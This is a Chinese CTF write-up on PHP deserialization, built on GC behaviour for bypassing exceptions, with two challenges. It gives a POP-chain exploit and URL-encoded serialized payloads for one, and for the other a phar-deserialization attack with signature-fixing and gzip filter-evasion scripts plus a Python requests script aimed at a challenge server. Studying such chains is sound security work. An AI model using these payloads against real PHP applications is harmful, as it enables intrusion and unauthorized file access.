浅析PHP GC垃圾回收机制及常见利用方式(二)

简介: 浅析PHP GC垃圾回收机制及常见利用方式

CTFShow[卷王杯]easy unserialize

源码如下

<?php
/**
 * @Author: F10wers_13eiCheng
 * @Date:   2022-02-01 11:25:02
 * @Last Modified by:   F10wers_13eiCheng
 * @Last Modified time: 2022-02-07 15:08:18
 */
include("./HappyYear.php");
class one {
    public $object;
    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }
    public function __destruct() {
        @$this->object->add();
    }
    public function __toString() {
        return $this->object->string;
    }
}
class second {
    protected $filename;
    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }
    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}
class third {
    private $string;
    public function __construct($string) {
        $this->string = $string;
    }
    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}
if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道");
} else {
    highlight_file(__FILE__);
}

简单梳理一下思路,触发MeMeMe方法为最终目标,以_destruct为起点,绕过抛出异常的方式同之前即可

接下来看一下它的大致流程

首先触发_destruct,那这里的add()无疑是让我们触发_call魔法方法,因此接下来到_call这里,发现这里拼接了Me,那它肯定就指向了addMe()这个方法,接下来看到$this->filename,想到触发_toString魔术方法,接下来根进_toString方法,发现object->string,那么这个的话就是触发_get方法了,因此接着看get()魔术方法,这个时候就有一个问题,怎么通过$var[$name]();来进入one类的MeMeMe方法,我们这里可以控制$var的值,当给它传值为数组,内容为类和方法时,就可成功触发类中的方法,所以我们这里给$var赋值为[new one(),MeMeMe]即可,此时还有一个问题,就是这个MeMeMe中的function($fn, $prev)如何理解,接下来我们本地测试一下

发现这个$fn是变量值,而$prev则是变量名,因此这里我们新增一个变量名为year_parm,且其值为Happy_func即可绕过if语句,接下来就可以去写Exp了

<?php
/**
 * @Author: F10wers_13eiCheng
 * @Date:   2022-02-01 11:25:02
 * @Last Modified by:   F10wers_13eiCheng
 * @Last Modified time: 2022-02-07 15:08:18
 */
include("./HappyYear.php");
class one {
    public $year_parm=array("Happy_func");
    public $object;
    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }
    public function __destruct() {
        @$this->object->add();
    }
    public function __toString() {
        return $this->object->string;
    }
}
class second {
    public $filename;
    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }
    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}
class third {
    private $string;
    public function __construct($string) {
        $this->string = $string;
    }
    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}
$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third(array("string"=>[new one(),"MeMeMe"]));
$b = array($a,NULL);
echo urlencode(serialize($b));

得到payload

a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7Di%3A1%3BN%3B%7D

接下来解码一下

a:2:{i:0;O:3:"one":2:{s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}s:6:"object";O:6:"second":1:{s:8:"filename";O:3:"one":2:{s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}s:6:"object";O:5:"third":1:{s:13:"thirdstring";a:1:{s:6:"string";a:2:{i:0;O:3:"one":2:{s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}s:6:"object";N;}i:1;s:6:"MeMeMe";}}}}}}i:1;N;}

修改i:1i:0再进行URL编码,得到最终payload

a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7Di%3A0%3BN%3B%7D

[NSSCTF]prize_p1

题目环境https://www.ctfer.vip/problem/14

源码如下

<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
highlight_file(__FILE__);
class getflag {
    function __destruct() {
        echo getenv("FLAG");
    }
}
class A {
    public $config;
    function __destruct() {
        if ($this->config == 'w') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            file_put_contents("./tmp/a.txt", $data);
        } else if ($this->config == 'r') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            echo file_get_contents($data);
        }
    }
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
    die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");

看到file_put_contentsfile_get_contents以及魔术方法__destruct,想到这里可以利用Phar反序列化,我们写个文件然后用phar伪协议包含这个文件就可以触发魔术方法,接下来说一下几个需要绕过的点

1、过滤了部分关键词,可以看到flag等关键词被绕过

2、Phar文件含有很多不可见字符,怎么用file_put_contents函数来完整的上传

3、throw new Error的绕过,即绕过抛出异常

对于第一点,我们这里需要知道一个知识,就是当Phar文件进行gzip压缩后,是不影响其功能的,所以我们这里可以通过对文件进行gzip压缩来绕过,第二点,当我们使用Python脚本来上传文件时,就可以完整的上传文件,第三点,这算的上是一个老生常谈的问题了,反序列化写数组而后给另一个赋值为0从而绕过。

思路有了,接下来开始解题,首先构造Phar文件

<?php
class getflag{
}
$a=new getflag();
$b=array($a,0);
$phar = new Phar("ph1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($b); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

运行php文件后得到phar文件,打开文件修改i:1i:0,然后再用脚本得到正确签名

import gzip 
from hashlib import sha1
file = open("ph1.phar","rb").read() 
text = file[:-28] #读取开始到末尾除签名外内容 
last = file[-8:] #读取最后8位的GBMB和签名flag 
new_file = text+sha1(text).digest() + last #生成新的文件内容,主要是此时sha1正确了。 
open("ph2.phar","wb").write(new_file)

此时就得到了正确的phar文件,接下来构造写入文件的exp

<?php
class A {
    public $config='w';
}
$a = new A();
echo serialize($a);
?>

得到写入文件的payload为O:1:"A":1:{s:6:"config";s:1:"w";}

同理得到读取文件的payload为O:1:"A":1:{s:6:"config";s:1:"r";}

接下来有phar文件了,我们只需要对文件进行压缩来绕过关键词检测,再借用python脚本和写入文件的payload,就可以上传文件,同时再利用读取文件的payload就可以触发Phar反序列化,得到flag,最终脚本如下

import requests
import gzip
import re
url = 'http://1.14.71.254:28496/'
file = open("ph2.phar", "rb") #打开文件
file_out = gzip.open("phar.zip", "wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()
requests.post(
    url,
    params={
        0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'
    },
    data={
        0: open('phar.zip', 'rb').read()
    }
) # 写入
res = requests.post(
    url,
    params={
        0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'
    },
    data={
        0: 'phar://tmp/a.txt'
    }
) # 触发
res.encoding='utf-8'
flag = re.compile('(NSSCTF\{.+?\})').findall(res.text)[0]
print(flag)

但我这里没有得到flag,看一些师傅说,这里的/tmp/a.txt无法写入内容,所以就不放flag截图了,思路应该是没什么问题的。

参考文章

https://xz.aliyun.com/t/10961#toc-1

http://blog.m1kael.cn/index.php/archives/14/

https://yangxikun.com/php/2013/08/24/php-garbage-collection-mechanism.html

相关文章
|
1月前
|
缓存 算法 Java
JVM知识体系学习六:JVM垃圾是什么、GC常用垃圾清除算法、堆内存逻辑分区、栈上分配、对象何时进入老年代、有关老年代新生代的两个问题、常见的垃圾回收器、CMS
这篇文章详细介绍了Java虚拟机(JVM)中的垃圾回收机制,包括垃圾的定义、垃圾回收算法、堆内存的逻辑分区、对象的内存分配和回收过程,以及不同垃圾回收器的工作原理和参数设置。
62 4
JVM知识体系学习六:JVM垃圾是什么、GC常用垃圾清除算法、堆内存逻辑分区、栈上分配、对象何时进入老年代、有关老年代新生代的两个问题、常见的垃圾回收器、CMS
|
13天前
|
Java PHP
深入理解PHP中的垃圾回收机制
深入理解PHP中的垃圾回收机制
27 3
|
1月前
|
监控 Java PHP
深入理解 PHP 中的垃圾回收机制
PHP,作为一门广泛使用的服务器端脚本语言,其性能和资源管理一直是开发者关注的焦点。本文将深入探讨PHP中的垃圾回收机制,包括垃圾回收的工作原理、影响垃圾回收的因素,以及开发者如何通过代码优化来改善垃圾回收效率。通过本文,你将了解到PHP垃圾回收的内部细节,并掌握一些实用的技巧来提升你的应用性能。
|
1月前
|
Java PHP
PHP作为广受青睐的服务器端脚本语言,在Web开发中占据重要地位。理解其垃圾回收机制有助于开发高效稳定的PHP应用。
【10月更文挑战第1天】PHP作为广受青睐的服务器端脚本语言,在Web开发中占据重要地位。其垃圾回收机制包括引用计数与循环垃圾回收,对提升应用性能和稳定性至关重要。本文通过具体案例分析,详细探讨PHP垃圾回收机制的工作原理,特别是如何解决循环引用问题。在PHP 8中,垃圾回收机制得到进一步优化,提高了效率和准确性。理解这些机制有助于开发高效稳定的PHP应用。
44 3
|
2月前
|
监控 算法 Java
深入理解Java中的垃圾回收机制在Java编程中,垃圾回收(Garbage Collection, GC)是一个核心概念,它自动管理内存,帮助开发者避免内存泄漏和溢出问题。本文将探讨Java中的垃圾回收机制,包括其基本原理、不同类型的垃圾收集器以及如何调优垃圾回收性能。通过深入浅出的方式,让读者对Java的垃圾回收有一个全面的认识。
本文详细介绍了Java中的垃圾回收机制,从基本原理到不同类型垃圾收集器的工作原理,再到实际调优策略。通过通俗易懂的语言和条理清晰的解释,帮助读者更好地理解和应用Java的垃圾回收技术,从而编写出更高效、稳定的Java应用程序。
|
1月前
|
存储 Java PHP
【JVM】垃圾回收机制(GC)之引用计数和可达性分析
【JVM】垃圾回收机制(GC)之引用计数和可达性分析
58 0
|
2月前
|
监控 算法 Java
深入理解Java中的垃圾回收机制(GC)
本文将探讨Java的自动内存管理核心——垃圾回收机制。通过详细解析标记-清除算法、复制算法和标记-整理算法等常用垃圾回收算法,以及CMS、G1等常见垃圾回收器,帮助读者更好地理解Java应用的性能优化和内存管理。同时,探讨分代收集、分区收集等策略在实际项目中的应用。结语部分总结了垃圾回收机制在Java开发中的重要性,并展望了未来可能的发展。
52 0
|
3月前
|
缓存 监控 Java
"Java垃圾回收太耗时?阿里HBase GC优化秘籍大公开,让你的应用性能飙升90%!"
【8月更文挑战第17天】阿里巴巴在HBase实践中成功将Java垃圾回收(GC)时间降低90%。通过选用G1垃圾回收器、精细调整JVM参数(如设置堆大小、目标停顿时间等)、优化代码减少内存分配(如使用对象池和缓存),并利用监控工具分析GC行为,有效缓解了高并发大数据场景下的性能瓶颈,极大提升了系统运行效率。
74 4
|
3月前
|
算法 Java 应用服务中间件
探索JVM垃圾回收算法:选择适合你应用的最佳GC策略
探索JVM垃圾回收算法:选择适合你应用的最佳GC策略
|
3月前
|
Java PHP 开发者
深入理解PHP的垃圾回收机制
【8月更文挑战第15天】在PHP编程中,内存管理是一个至关重要的话题。不同于其他编程语言,如C++和Java,PHP提供了自动的垃圾回收机制来帮助开发者管理内存。本文将深入探讨PHP的垃圾回收机制,包括它的工作原理、如何影响性能以及开发者如何利用这一机制来优化应用程序的性能。文章不包含代码示例,旨在通过文字阐述让读者对PHP的垃圾回收有一个清晰的认识。
46 0